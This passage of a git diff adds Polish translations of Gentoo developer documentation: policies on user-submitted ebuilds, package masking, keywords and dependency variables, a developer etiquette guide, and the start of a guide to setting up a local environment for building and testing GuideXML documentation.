+odpowiedzialność za nie ponosi deweloper, który umieścił ebuild w CVS.</b>
+Dodając ebuild do repozytorium, ręczymy że jest on zgodny ze wszystkimi
+standardami Gentoo.
+</p>
+
+<p>
+Należy upewnić się, że ebuild nadesłany przez użytkownika nie zawiera
+niestandardowego nagłówka jak poniżej:
+</p>
+
+<pre caption="Niestandardowy nagłówek, który powinien znajdować się w pliku ChangeLog">
+# Ebuild updated by: me &lt;me@me.com&gt;
+</pre>
+
+<p>
+Powyższa informacja powinna znaleźć się w pliku <path>ChangeLog</path>, ujęta w
+ramy składni komentarzy pliku ChangeLog. <b>Zawsze upewnijmy się, że plik
+ChangeLog zawiera odpowiednie informacje o osobie, która przysłała ebuild.
+Informacja ta powinna pojawić się w pierwszym wpisie do pliku ChangeLog.</b>
+</p>
+
+<p>
+Konieczne jest upewnienie się, że ebuild, który zamierzamy dodać, zawiera
+linię:
+</p>
+
+<pre caption="Nagłówek ebuilda">
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Spora część ebuildów przysyłanych przez użytkowników oparta jest na pakietach
+pobranych poprzez rsync, które mogą zawierać nieprawidłowe nagłówki.
+</p>
+
+<p>
+Należy zachęcić użytkowników do przysyłania różnic pomiędzy aktualną i starszą
+wersją ebuilda, zamiast całych ebuildów. Dzięki temu można uniknąć powtarzania
+w nowych pakietach wcześniej już poprawionych błędów. Jeśli nie otrzymaliśmy
+zmian pomiędzy wersjami, a jedynie nowy ebuild, sami powinniśmy skorzystać z
+polecenia <c>diff</c>, aby sprawdzić co zostało zmienione, zwracając szczególną
+uwagę na elementy, które znajdują się w starszej wersji i powinny pojawić się w
+nowej oraz takie, które powinny zostać poprawione lub usunięte.
+</p>
+
+<p>
+Zasadniczo, użytkownicy powinni wykonać całą pracę wymaganą do dodania ebuilda
+do drzewa Portage (poza samym dodaniem), chyba że sami <e>chcemy</e>
+przygotować ebuild w imieniu użytkownika. Nawet jeśli faktycznie chcemy,
+zazwyczaj lepiej jest, aby użytkownicy wykonywali te prace, dzięki czemu będą
+uczyć się na własnych błędach, a to pozwoli im tworzyć lepsze ebuildy w
+przyszłości. Należy pamiętać o podziękowaniach za każdy nadesłany ebuild, nawet
+jeśli byłby on napisany w błędny sposób. Bądźmy uprzejmi i szczerzy - jeśli
+ebuild nie jest przydatny, nie możemy obrażać użytkownika, dając mu do
+zrozumienia, że jego umiejętności są marne. Być może osoba, która przysłała
+nieprzydatnego ebuilda w przyszłości stanie się produktywnym członkiem naszego
+projektu - może się tak stać, jeśli będziemy wspierać użytkowników i zachęcać
+ich do pogłębiania wiedzy i rozwijania umiejętności.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Zasady utrzymania wysokiej jakości kodu</title>
+<subsection>
+<title>Zasady wydawania Portage i baselayout</title>
+<body>
+
+<p>
+Tylko deweloperzy z herdu Portage (pewni swojej roli w tym zespole) mają prawo
+do publikowania jego nowych wersji. <b>Nikt</b> inny nie może publikować nowych
+wydań Portage.
+</p>
+
+<p>
+Tylko deweloperzy z zespołu "baselayout" (i pewni swojej roli w tym zespole)
+mają prawo do publikowania jego nowych wersji. <b>Nikt</b> inny nie może
+publikować nowych wydań baselayout.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Zamaskowane pakiety</title>
+<body>
+
+<p>
+Plik <path>/usr/portage/profiles/package.mask</path> zawiera listę pakietów,
+które nie powinny być emergowane przez użytkowników i komentarze opisujące
+dlaczego poszczególne programy znalazły się na liście.
+<path>package.mask</path> jest używany, aby zapobiec instalacji programów,
+które nie działają, mogą uszkodzić inne programy, czy też potrzebują
+przetestowania przed dodaniem do testowej gałęzi drzewa Portage. Jeśli dodajemy
+jakiś pakiet do <path>package.mask</path>, najpierw powinniśmy wykonać commit
+pliku <path>package.mask</path>, a dopiero potem dodać zamaskowany pakiet.
+Uchroni to użytkowników przez instalacją programu zanim
+<path>package.mask</path> zostanie zaktualizowany.
+</p>
+
+<p>
+Szczególnej uwagi wymaga sytuacja, w której usuwamy pakiet z
+<path>package.mask</path>. Pamiętajmy, że jeśli ebuild znalazł się w
+<path>package.mask</path>, to istniały ku temu istotne powody. Jeśli ebuild nie
+został zamaskowany przez nas, skontaktujmy się z deweloperem, który tego
+dokonał (informacje o nim powinny znajdować się w komentarzu przy pakiecie),
+przed podjęciem jakichkolwiek działań. Dodatkowo, jeśli pakiet stanowi część
+rdzenia systemu lub jest jego zależnością, jego odmaskowanie powinno zostać
+przedyskutowane na liście mailingowej deweloperów.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>~ARCH w zmiennej KEYWORDS</title>
+<body>
+
+<p>
+Celem użycia ~arch w zmiennej KEYWORDS jest oznaczenie pakietu jako wersji
+testowej.
+</p>
+
+<p>
+Istnieje znacząca różnica pomiędzy użyciem <path>package.mask</path> i ~arch
+dla ebuildów. Umieszczenie ~arch w zmiennej KEYWORDS oznacza, że <e>ebuild</e>
+(a nie program przez niego instalowany) wymaga przetestowania. Zastosowanie
+<path>package.mask</path> wskazuje, że sama aplikacja lub biblioteka nie
+została jeszcze określona jako stabilna. Przykładowo, jeśli <c>gimp-1.2.0</c>
+jest stabilną wersją wypuszczoną przez deweloperów programu Gimp i zostaje
+opublikowana wersja 1.2.1, poprawiająca jakiś błąd, pakiet powinien być
+oznaczony przy pomocy ~arch, gdyż sama aplikacja uznawana jest za stabilną.
+Jeśli natomiast deweloperzy programu Gimp zdecydują się na opublikowanie
+niestabilnej/rozwijającej się serii oznaczonej 1.3.0, ebuild powinien zostać
+umieszczony w <path>package.mask</path>, ponieważ sama aplikacja nie jest
+stabilna i instalacja jej nie jest zalecane przez zespół ją utrzymujący.
+</p>
+
+<p>
+Każdy nowy pakiet w drzewie Portage musi być oznaczony przez ~arch dla
+wszystkich architektur, na których działa. Deweloper dodający ebuild musi
+zweryfikować poprawność działania aplikacji i wartości w zmiennej KEYWORDS.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Zmiana oznaczenia pakietu z ~ARCH na ARCH</title>
+<body>
+
+<p>
+Kiedy wersja pakietu będzie zachowywać się stabilnie przez odpowiedni okres
+czasu i utrzymujący go deweloper Gentoo uzna że aktualizacja do tej wersji nie
+wpłynie negatywnie na działanie komputerów użytkowników, jej oznaczenie może
+zostać zmienione z ~ARCH na ARCH. Wskaźnikiem stabilności pakietu jest brak
+nowych lub nierozwiązanych problemów w raporcie błędu, przez miesiąc od dodania
+nowej wersji.
+</p>
+
+<p>
+Od osoby utrzymującej pakiet zależy, czy powinien on zostać uznany za stabilny
+oraz czy niestabilne wersje powinny znaleźć się w <path>package.mask</path>,
+czy pozostać z oznaczeniem ~arch.
+</p>
+
+<p>
+Konieczne jest upewnienie się, że wszystkie zależności pakietu określonego jako
+stabilny również posiadają oznaczenie ARCH (i są stabilne).
+</p>
+
+<impo>
+Należy pamiętać, że tylko członkowie zespołów odpowiedzialnych za obsługę
+poszczególnych architektur mogą oznaczyć dany pakiet jako stabilny dla
+określonej architektury. Opiekunowie pakietów powinni zgłaszać raporty błędów z
+prośbą o oznaczenie danej wersji jako stabilnej. Niemniej opiekun pakietu może
+samodzielnie oznaczyć go jako stabilny dla pewnej architektury sprzętowej, jeśli
+jest on członkiem zespołu zarządzającego tą architekturą.
+</impo>
+
+<warn>
+Etap oznaczenia nowej wersji pakietu wartością ~ARCH może zostać pominięty
+wtedy <e>i tylko wtedy</e>, gdy wersja ta zawiera poprawki luk bezpieczeństwa
+lub jest konieczna do naprawienia poważnych błędów w systemie.
+</warn>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Zmienne</title>
+<subsection>
+<title>Wymagane zmienne</title>
+<body>
+
+<p>
+Polityka Gentoo wymaga, aby każdy ebuild zawierał zmienne <c>KEYWORDS</c>,
+<c>LICENSE</c> i <c>SLOT</c>. Zmienne <c>HOMEPAGE</c>, <c>SRC_URI</c> i
+<c>DESCRIPTION</c> również powinny być dołączone poza pewnymi specjalnymi
+sytuacjami. Zmienna <c>DEPEND</c> (i <c>RDEPEND</c> jeśli jest potrzebna)
+powinna zostać dołączona, jeśli pakiet zawiera zależności potrzebne w czasie
+instalacji lub działania programu. <b>Nigdy</b> nie wolno ustawiać samodzielnie
+<c>RDEPEND</c> na <c>DEPEND</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND i RDEPEND</title>
+<body>
+
+<p>
+Należy korzystać ze zmiennej <c>DEPEND</c>, aby określić zależności potrzebne
+do zbudowania i instalacji programu. Zmienna <c>RDEPEND</c> służy do
+definiowania zależności koniecznych do <e>pracy</e> aplikacji. RDEPEND powinno
+być ustawione oddzielnie, nawet w sytuacji gdy mamy wpis RDEPEND=${DEPEND}.
+</p>
+
+<pre caption="Przykład zmiennej RDEPEND">
+RDEPEND="${DEPEND}
+        net-ftp/curl
+</pre>
+
+<p>
+Należy pamiętać, że w przypadku instalacji binarnej paczki <c>.tbz2</c>, brane
+są pod uwagę wyłącznie zależności w zmiennej <c>RDEPEND</c>. Zwróćmy na to uwagę
+podczas definiowania zmiennej <c>RDEPEND</c>.
+</p>
+
+<p>
+Pakiet powinien zależeć od najstarszych wersji programów spełniających
+zależności. Jeśli działa on poprawnie z <c>libfoo-1.2.x</c>, nie uzależniajmy
+go od <c>libfoo-2.x</c>, tylko dlatego, że właśnie tę wersję mamy
+zainstalowaną.
+</p>
+
+<p>
+Generalnie rzecz biorąc, pakiety powinny posiadać zależności typu
+<c>=libfoo-1.2*</c> zamiast <c>&gt;=libfoo-1.2</c>. W drugim przypadku może
+dojść do nieprzewidzianych problemów, gdy opublikowany zostanie
+<c>libfoo-2.0</c>.
+</p>
+
+<p>
+Wirtualna zależność, np. <c>virtual/foo</c>, będzie prawidłowo spełniona tylko
+jeśli pakiety kryjące się za wirtualnym pakietem <c>virtual/foo</c> posiadają
+takie same interfejsy. Rozważmy dla przykładu pakiet <c>virtual/jdk-1.3</c>.
+Niektóre programy nie pracują z <c>ibm-jdk-1.3</c>, podczas gdy działają
+poprawnie z <c>sun-jdk-1.3</c>. Z tego powodu należy upewnić się, że aplikacja
+działa poprawnie ze wszystkimi pakietami odpowiadającymi wirtualnej zależności,
+przed jej odmaskowaniem. Być może lepszym rozwiązaniem będzie uzależnienie
+programu od pewnego podzbioru pakietów niż od całej wirtualnej zależności.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-policy-etiquette.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-policy-etiquette.xml
new file mode 100644
index 00000000..af3f4b0e
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-policy-etiquette.xml
@@ -0,0 +1,255 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-policy-etiquette.xml,v 1.4 2008/01/20 19:38:07 rane Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Wprowadzenie i proste sugestie</title>
+<body>
+
+<p>
+Te sugestie z założenia mają być prostym i łatwym do przestrzegania zbiorem
+zasad, co do których <uri link="/proj/en/devrel">Developer Relations</uri>
+<e>ma nadzieję</e>, że staną się powszechnie przestrzegane przez deweloperów.
+Zasady te mają dość ogólny charakter i powinny być przestrzegane wszędzie tam,
+gdzie tylko jest to możliwe.
+</p>
+
+<p>
+Nie oznacza to, że wymagamy ich dokładnego przestrzeganie, czy chcemy, aby
+każdy się z nimi zgadzał. Za to oczekujemy, że wszyscy deweloperzy zachowają
+wysokie standardy kultury wobec społeczności użytkowników i innych deweloperów
+Gentoo. Jeśli tak się nie stanie, możemy upomnieć dewelopera, a nawet go
+zawiesić w jego czynnościach
+</p>
+
+<p>
+Nie kneblujemy deweloperom ust, ważne jest dla nas za to <e>w jaki sposób</e>
+mówią. To co mówimy jako deweloperzy Gentoo ma wpływ na wizerunek całego
+naszego projektu, dlatego wymagamy profesjonalizmu zarówno w pracy nad
+pakietami jak i w wypowiedziach skierowanych do innych osób. Oczekujemy
+traktowania z równym szacunkiem innych deweloperów i użytkowników oraz ich
+opinii, nawet jeśli są całkowicie błędne.
+</p>
+
+<p>
+Przede wszystkim należy pisać zgodnie z zasadami gramatyki i ortografii, bez
+względu na to czy to informacja przy wysyłaniu zmian do CVS, plik z opisem
+zmian w pakiecie, czy zwyczajna rozmowa na IRC-u. Nie jest to zasada, której
+łamanie jest szczególnie karane. Za to zwracamy uwagę, że poprawność zdań
+znacznie ułatwia ich przeczytanie. Nie warto również przesadzać w drugą stronę
+i nadmierną elokwencją utrudniać ich szybkiego zrozumienia.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czego nie należy robić</title>
+<body>
+
+<p>
+Pod żadnym pozorem nie wolno obrażać innych osób.  Czasem jedna sarkastyczna
+wypowiedź może poważnie urazić jej adresata. Jeśli <e>naprawdę</e> trzeba
+skrytykować w jakiś sposób drugą osobę, należy to uczynić w możliwie bezbolesny
+i nieobraźliwy sposób.
+</p>
+
+<p>
+Pamiętajmy, że jesteśmy oficjalnymi reprezentantami Gentoo. W związku z tym
+powinniśmy zachowywać się w sposób profesjonalny i kulturalny w naszych
+codziennych kontaktach z użytkownikami i deweloperami.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wskazówki</title>
+<subsection>
+<title>Pliki ChangeLog</title>
+<body>
+
+<ul>
+  <li>
+    Muszą być łatwe do zrozumienia przez przeciętnego użytkownika. Zdania muszą
+    być możliwie proste i krótkie, ale też powinny zawierać wszystkie potrzebne
+    informacje. Mimo że są krótkie, muszą być pisane prawidłowo po angielsku.
+    Interpunkcja jest również bardzo ważna.
+  </li>
+  <li>
+    Nie należy używać slangu związanego z Gentoo, poza słowami takimi jak
+    "ebuild" i stwierdzeniami jak "version bump". Jeśli jest to dłuższy tekst,
+    należy pamiętać o prawidłowej interpunkcji i znakach cytowania.
+  </li>
+</ul>
+<ul>
+  <li>
+    Wszystkie nazwy funkcji muszą znajdować się w cudzysłowach.
+  </li>
+  <li>
+    Należy podawać szczegóły. "Version bump" jest w porządku, ale "Version
+    bump; see bug #..." jest lepszy. Pomaga to zarówno użytkownikom jak i innym
+    deweloperom.
+  </li>
+  <li>
+    Nie należy używać zdań takich jak "testowane od miesięcy, powinno działać"
+    czy "myślę, że to może rozwiązać problemy". Coś działa lub nie działa, nie
+    ma pośredniej sytuacji. Jeśli nie jest się pewnym prawidłowości działania
+    jakiegoś programu, zawsze lepiej poprosić użytkowników o uważne testy i
+    informacje o ewentualnych błędach.
+  </li>
+  <li>
+    Wspominając o częściach pliku ebuild, takich jak np. wartość zmiennej
+    homepage, należy pamiętać o cudzysłowach i dużych literach, wpis
+    "HOMEPAGE" jest jedynym poprawnym. Ułatwia to kilka rzeczy, przede
+    wszystkim informuje użytkowników o tym, że zmieniła się wartość tej
+    zmiennej, a nie np. strona, która się otwiera po uruchomieniu programu.
+  </li>
+  <li>
+    Skróty należy pisać dużymi literami. Np. "ALSA" zamiast "alsa" i "Win4Lin"
+    zamiast "win4lin".
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuildy</title>
+<body>
+
+<ul>
+  <li>
+    Nie należy podnosić wersji ebuildów jeśli naprawdę nie jest to konieczne
+    lub nie są to ważne poprawki związane z bezpieczeństwem. Przypadki, kiedy
+    nie jest to konieczne to:
+    <ul>
+      <li>
+        Drobne poprawki pisowni w komentarzach wewnątrz plików, w ich tabulacji itp.
+      </li>
+      <li>
+	Dodanie poprawek do ebuildu umożliwiających jego współpracę z nowymi
+	wersjami jądra (lub nowymi wersjami bibliotek), co pozwala na
+	zainstalowanie tego programu przez większą liczbę użytkowników niż
+	dotychczas, ale nie zmienia zbyt wiele obecnym jego posiadaczom.
+      </li>
+    </ul>
+    Główna zasada jest taka, że wszelkie poważne zmiany w którymś z plików
+    instalowanych przez ebuild powinny prowadzić do podniesienia jego wersji.
+    Jeśli zmienia się zachowanie programu podnosimy wersję umożliwiając
+    wszystkim użytkownikom aktualizację. Więcej przykładów znajduje się w
+    tekście o zasadach pisania ebuildów.
+  </li>
+  <li>
+    Należy szanować preferencje innych deweloperów dotyczące wyglądu kodu i
+    dokonywać tylko niezbędnych poprawek w ich ebuildach, dzięki czemu unika
+    się zbędnego obciążenia serwera CVS oraz komplikowania życia innym ludziom.
+    Zmian w składni należy dokonywać tylko wtedy, gdy jest z tego jakaś realna
+    korzyść, np. przyśpieszenie kompilacji programu, dodanie informacji
+    przydatnych dla użytkowników lub dostosowanie do zasad pisania tych
+    plików.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>IRC</title>
+<body>
+
+<ul>
+  <li>
+    Należy być uprzejmym i do każdego odnosić się z szacunkiem, nawet jeśli
+    bombarduje nas bezsensownymi wiadomościami.
+  </li>
+  <li>
+    Nie wolno obrażać ani dyskryminować użytkowników i deweloperów.
+  </li>
+  <li>
+    Na wszystkie pytania należy odpowiadać możliwie najdokładniej i zgodnie ze
+    swoją wiedzą. Odpowiadanie na pytania dotyczące czegoś, o czym nie ma się
+    pojęcia prowadzi jedynie do zamieszania. Nie ma żadnych zasad, które
+    mówiłyby o tym jak daleko można posunąć się w pomaganiu, ale odradzamy
+    bezpośredni kontakt z maszyną użytkownika, taki jak SSH-owanie się tam,
+    ponieważ za wszystkie potencjalne problemy będzie potem odpowiedzialny
+    deweloper.
+  </li>
+  <li>
+    Deweloperzy posiadający status operatora na kanale, nie powinni go
+    nadużywać. W przypadku sporów z użytkownikiem należy je rozwiązać metodami
+    pokojowymi, a nie wyrzucać go na stałe z kanału, chyba że sytuacja jest
+    naprawdę krytyczna i inni deweloperzy poprą taką decyzję.
+  </li>
+  <li>
+    Na kanałach #gentoo-dev i #gentoo nie wolno przeklinać. Pozostałe kanały
+    #gentoo- mają własne zasady, które ustalają ich założyciele. W związku z
+    tym, że większość rozmów na #gentoo-dev prowadzona jest przez deweloperów
+    Gentoo, ludzie tam przebywający są uważani za reprezentantów całej
+    społeczności. W związku z tym, że chcemy, aby Gentoo sprawiało wrażenie
+    możliwie profesjonalnego projektu, prosimy o powstrzymanie się tam od
+    wszelkich kłótni i używania przekleństw.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Forum</title>
+<body>
+
+<ul>
+  <li>
+    Należy być miłym i do każdego odnosić się z szacunkiem, nawet jeśli zadaje
+    najbardziej kuriozalne pytania. Należy pisać w sposób uprzejmy lub
+    powstrzymać się od komentowania.
+  </li>
+  <li>
+    Należy trzymać się zasad panujących na forum oraz nie odbiegać w dyskusjach
+    od jego tematyki.
+  </li>
+  <li>
+    Należy być aktywnym. Jeśli użytkownik pyta czemu coś zostało stworzone,
+    należy mu to wyjaśnić. Jeśli pyta czemu coś usunięto, również należy mu to
+    wyjaśnić. Warto korzystać ze swojej wiedzy i pomagać innym ludziom. Jeśli
+    jednak nie wie się w czym tkwi problem, nie należy mieszać się do dyskusji
+    i wprowadzać ludzi w błąd.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Poczta</title>
+<body>
+
+<ul>
+  <li>
+    Należy odnosić się do innych z szacunkiem. Nie należy odpowiadać na ataki
+    kolejnymi atakami. Przekazujmy swoje opinie w sposób uprzejmy lub nie
+    przekazujmy ich wcale.
+  </li>
+  <li>
+    Nie wolno wysyłać listów w formie HTML, jest to bardzo denerwujące. Należy
+    zawijać wiersze w wiadomościach wysyłanych czystym tekstem. Niektórzy
+    ludzie blokują wiadomości w formie HTML i łamanie tej zasady może powodować
+    utrudnienia w komunikacji z nimi.
+  </li>
+  <li>
+    W odpowiedziach na listy użytkowników należy być uprzejmym. Nie wolno po
+    prostu odsyłać kogoś do innego dewelopera bez dokładnego wyjaśnienia
+    powodów. Dobrym przykładem takiego listu może być następujący tekst:
+    "Odsyłam Cię do <e>kogoś</e>, ponieważ to on teraz opiekuje się pakietem, o
+    który pytasz. Wszystkie pytania dotyczące tej kwestii powinny być kierowane
+    do niego, przepraszam za zamieszanie".
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/pl/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..7fc2fd86
--- /dev/null
+++ b/xml/htdocs/proj/pl/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,431 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/gdp/doc/doc-tipsntricks.xml,v 1.7 2006/12/19 17:52:13 shadoww Exp $ -->
+
+<guide link="/proj/pl/gdp/doc/doc-tipsntricks.xml" lang="pl">
+<title>Wskazówki dotyczące tworzenia dokumentacji Gentoo</title>
+
+<author title="Autor">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="edi15ta@gazeta.pl">Mateusz Kotyrba</mail>
+</author>
+
+<abstract>
+Wskazówki, które ułatwią życie każdemu deweloperowi dokumentacji Gentoo (lub
+uczynią jego pracę mniej ponurą).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.26</version>
+<date>2006-11-03</date>
+
+<chapter>
+<title>Tworzenie środowiska pracy</title>
+<section>
+<title>Lokalne środowisko dla współpracowników</title>
+<body>
+
+<p>
+Tworzymy katalog poświęcony tylko i wyłącznie tworzeniu dokumentacji. Na
+przykład <path>~/praca/gentoo/doc</path>. Wewnątrz tego katalogu tworzymy
+podkatalog w którym będziemy przechowywali (aktualną) angielską dokumentację
+(przykładowo <path>en/</path>).
+</p>
+
+<p>
+Następnie ściągamy tarball z najświeższą angielską dokumentacją:
+</p>
+
+<pre caption="Ściąganie angielskiej dokumentacji">
+$ <i>wget http://www.gentoo.org/dyn/doc-snapshots/docs-latest-en.tar.bz2</i>
+</pre>
+
+<p>
+Wypakowujemy plik do katalogu <path>en/</path> i mamy najnowszy obraz
+angielskiej dokumentacji. Za każdym razem kiedy chcemy uaktualnić nasz obraz,
+należy ściągnąć tarball ponownie. Można również otworzyć określony dokument za
+pomocą przeglądarki, dodając <path>?passthru=1</path> do adresu URL.
+Przykładowo:
+</p>
+
+<pre caption="Aktualizacja angielskiego dokumentu">
+$ <i>wget http://www.gentoo.org/doc/en/alsa-guide.xml?passthru=1 -O alsa-guide.xml</i>
+</pre>
+
+<p>
+Jeśli chcemy pomóc w tłumaczeniu dokumentów, to należy stworzyć katalog
+<path>pl/</path> w którym będziemy trzymać już przetłumaczone dokumenty:
+</p>
+
+<pre caption="Ściąganie obrazu polskiej dokumentacji">
+$ <i>mkdir</i> <comment>pl</comment>
+$ <i>cd</i> <comment>pl</comment>
+$ <i>wget http://www.gentoo.org/dyn/doc-snapshots/docs-latest-pl.tar.bz2</i>
+$ <i>tar xvjf docs-latest-pl.tar.bz2</i>
+</pre>
+
+<p>
+Zanim zaktualizujemy jakiś dokument, należy zawsze skopiować starszą wersję z
+<path>pl/</path> do katalogu <path>~/praca/gentoo/doc</path>, a następnie
+zmienić skopiowany plik. Oryginał jest nam potrzebny do stworzenia łatki:
+</p>
+
+<pre caption="Tworzenie łatki dla aktualizacji">
+$ <i>diff -U6 </i><comment>${LANG}</comment><i>/alsa-guide.xml alsa-guide.xml</i> > alsa-guide.diff
+</pre>
+
+</body>
+</section>
+<section>
+<title>Interaktywne repozytorium CVS</title>
+<body>
+
+<p>
+Można korzystać z <uri link="http://sources.gentoo.org/">interaktywnego
+repozytorium CVS</uri>, aby zobaczyć zmiany pomiędzy poszczególnymi wersjami.
+Główne angielskie repozytorium jest <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">dostępne dla
+wszystkich</uri> i jest aktualizowane co godzinę.
+</p>
+
+</body>
+</section>
+<section>
+<title>Lokalne repozytorium dla deweloperów</title>
+<body>
+
+<p>
+Tworzymy katalog roboczy przeznaczony na dokumentację Gentoo; dla przykładu
+<path>~/praca/gentoo/doc</path>. Następnie tworzymy podkatalog <path>cvs/</path>
+w którym umieszczamy obraz CVS:
+</p>
+
+<pre caption="Uzyskiwanie obrazu CVS">
+$ <i>mkdir cvs; cd cvs/</i>
+$ <i>export CVSROOT=</i><comment>&lt;login&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co doc</i>
+</pre>
+
+<p>
+Aby uaktualnić obraz CVS, należy wykonać polecenie <c>cvs update -dP</c> w
+katalogu <path>cvs/doc</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Testowanie GuideXML</title>
+<section>
+<title>Testowanie środowiska</title>
+<body>
+
+<p>
+Najpierw tworzymy katalog <path>test/</path> w którym umieścimy pliki
+<path>guide.xsl</path>, <path>main.css</path> oraz kilka obrazów:
+</p>
+
+<pre caption="Tworzenie środowiska do testowania">
+$ <i>mkdir -p test/{css,images}</i>
+$ <i>cd test</i>
+$ <i>wget -P css/ http://www.gentoo.org/css/main.css</i>
+<i>wget -P images/ http://www.gentoo.org/images/gridtest.gif \ http://www.gentoo.org/images/gentoo-new.gif \ http://www.gentoo.org/images/gtop-www.jpg</i>
+</pre>
+
+<p>
+Po czym ściągamy specjalną wersję <path>guide.xsl</path> dostępną na <uri
+link="http://dev.gentoo.org/~neysx/guide.xsl">stronie neysxa</uri>. Ta wersja
+jest przystosowana do przekształcenia GuideXML do HTML na lokalnych systemach
+oraz posiada wsparcie dla kilku języków. Można również pobrać <uri
+link="http://dev.gentoo.org/~neysx/guide-en.xsl">znacznie krótszą wersję</uri>,
+która posiada wsparcie jedynie dla języka angielskiego.
+</p>
+
+<pre caption="Ściąganie guide.xsl">
+$ <i>wget http://dev.gentoo.org/~neysx/guide.xsl</i>
+<comment>(<b>Lub</b> w przypadku kiedy potrzebujemy jedynie angielskiego)</comment>
+$ <i>wget -O guide.xsl http://dev.gentoo.org/~neysx/guide-en.xsl</i>
+</pre>
+
+<p>
+Na koniec edytujemy plik <path>/etc/xml/catalog</path> dodając następującą
+linię:
+</p>
+
+<pre caption="Załącznik do /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<p>
+Jeśli plik <path>/etc/xml/catalog</path> jest pusty lub nie zawiera żadnych
+wpisów, konieczne będzie dodanie taga <c>&lt;rewriteURI&gt;</c> <e>wewnątrz</e>
+elementu <c>&lt;catalog&gt;</c>:
+</p>
+
+<pre caption="Minimalny /etc/xml/catalog">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN"
+"http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+Ponadto niektóre pliki mogą odwoływać się do DTD znajdującego się w sieci, na
+przykład poprzez wpis <path>http://www.gentoo.org/dtd/guide.dtd</path>. W takim
+przypadku warto również je przepisać i uniknąć spowalniającego pracę odwoływania
+się do plików w Internecie.
+</p>
+
+<pre caption="Dodatek w /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Testowanie przewodnika Gentoo</title>
+<body>
+
+<p>
+Tekst napisany w GuideXML można sprawdzić za pomocą narzędzia <c>xmllint</c> z
+pakietu <c>dev-libs/libxml2</c>:
+</p>
+
+<pre caption="Używanie xmllint do weryfikacji przewodników">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+Jeśli <c>xmllint</c> nic nie zwróci, oznacza to, że plik jest bez błędów
+(przynajmniej tagi XML). Następnie przekształcamy go do HTML. Użytecznym
+narzędziem do tego jest <c>xsltproc</c> z pakietu <c>dev-libs/libxslt</c>:
+</p>
+
+<pre caption="Przekształcanie na HTML">
+$ <i>xsltproc test/guide.xsl alsa-guide.xml &gt; test/alsa-guide.html</i>
+</pre>
+
+<p>
+Jeśli żaden błąd nie zostanie zwrócony, wystarczy otworzyć dokument za pomocą
+przeglądarki. Znajduje się on pod adresem
+<uri>file:///home/użytkownik/praca/gentoo/doc/test/alsa-guide.html</uri>. Jeśli
+nie zadziałało, to należy tak długo naprawiać przewodnik aż proces się uda.
+</p>
+
+</body>
+</section>
+<section>
+<title>Testowanie Podręcznika Gentoo</title>
+<body>
+
+<p>
+Podręcznik Gentoo jest podzielony na rozdziały. Aby przetworzyć jeden z nich,
+tak jakby znajdował się on na naszym serwerze internetowym, należy posłużyć się
+zarówno plikiem <path>handbook-x86.xml</path> jak i wymaganym <path>hb-</path>
+(na przykład <path>hb-install-about.xml</path>). Następnie dokument musi
+przejść przez <c>xsltproc</c> z tymi samymi parametrami z którymi będzie
+przeglądany, mianowicie <c>part</c> i <c>chap</c>. Poniższy przykład
+prezentuje w jaki sposób można sprawdzić poprawność pliku
+<path>hb-install-about.xml</path>. Należy mieć na uwadze, że potrzebujemy
